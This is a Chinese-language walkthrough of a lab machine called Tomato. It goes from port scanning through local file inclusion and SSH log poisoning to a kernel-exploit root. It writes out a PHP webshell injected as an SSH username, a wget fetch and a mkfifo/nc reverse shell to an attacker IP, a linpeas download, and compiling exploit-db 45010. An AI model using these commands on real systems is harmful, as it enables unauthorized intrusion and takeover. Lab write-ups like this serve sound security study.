主机发现

sudo nmap -sn 192.168.162.0/24

端口扫描

sudo nmap --min-rate 10000 -p- 192.168.162.142 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-01 16:56 CST
Nmap scan report for 192.168.162.142
Host is up (0.00050s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
2211/tcp open emwin
8888/tcp open sun-answerbook
MAC Address: 00:0C:29:03:AB:DC (VMware)
sudo nmap -sT -sV -sC -O -p21,80,2211,8888 192.168.162.142
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-01 16:57 CST
Nmap scan report for 192.168.162.142
Host is up (0.00057s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Tomato
|_http-server-header: Apache/2.4.18 (Ubuntu)
2211/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:53:0a:91:8c:f1:a6:10:11:0d:9e:0f:22:f8:49:8e (RSA)
| 256 b3:12:60:32:48:28:eb:ac:80:de:17:d7:96:77:6e:2f (ECDSA)
|_ 256 36:6f:52:ad:fe:f7:92:3e:a2:51:0f:73:06:8d:80:13 (ED25519)
8888/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Private Property
|_http-title: 401 Authorization Required
MAC Address: 00:0C:29:03:AB:DC (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.46 seconds

ftp并不能匿名登录

web

80端口根目录只有一张图。8888端口页面没有凭证,看似走投无路了。一开始用directory-list-2.3-medium.txt字典扫不出什么东西,后来用seclists/Discovery/Web-Content/common.txt字典扫出来一个/antibot_image。发现靶机中的扫目录这两个字典够用了233

只有info.php可以查看到内容,源代码里面提示可以传参。发现有本地文件包含。想到之前的打过文件包含来日志中毒apache日志,但是发现包含不到。。。

看Wp是中毒ssh的日志

发现确实是可以包含到。端口扫描可以得知2211端口是ssh服务。我们可以ssh连接来写入一句话木马

ssh连接来写入日志,密码随便输

ssh '<?php system($_GET['test']);?>'@192.168.162.142 -p 2211

发现确实是执行了我们的命令

来建立反弹shell:本地开启一个服务器,并开启监听

http://192.168.162.142/antibot_image/antibots/info.php?image=../../../../../../../../../../../../../../../../var/log/auth.log&test=wget%20http://192.168.162.128/reverseshell.php

ls后发现没有这个文件,换成curl命令也没用。也许这台机器没有安装这两个命令。

在burp里面抓包改吧,直接在url里面添加好像因为编码问题有些命令没有执行。

编码前:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.162.128 1234 >/tmp/f

推荐一个生成反弹shell的网站

https://weibell.github.io/reverse-shell-generator/

提权

大概率要横向移动到tomato这个用户

然而找了一圈都没有找到可以横向移动的凭证

切换到/tmp目录

wget http://192.168.162.128/linpeas.sh -O /tmp/linpeas.sh

上传linpeas

chmod +x linpeas.sh
./linpeas.sh

提示了这个内核版本可能有些问题

试试看脏牛

https://github.com/firefart/dirtycow/blob/master/dirty.c

发现这台机器连gcc命令都没有,那就在kali中编译好上传

发现也不行,貌似库的版本不一致,阿哲

试了好几个都提示版本不匹配

咨询了一下gpt,看来不是exp的问题,是GLIBC 版本的原因(这块还不太懂)

可以使用静态编译的方式将版本嵌入到可执行文件

最后我尝试了

https://www.exploit-db.com/download/45010

在kali编译

gcc -static -o 45010 45010.c

上传后给予权限然后运行,成功提权

碎碎念

怎么说呢,看似简单其实又不太简单。日志中毒虽然之前做过中毒apache的,这次了解了ssh日志(虽然实际还挺少见的)中毒还行。然后还有一个麻烦点就是内核提权对于exp的选择还有编译,了解了静态编译也算是一个收获。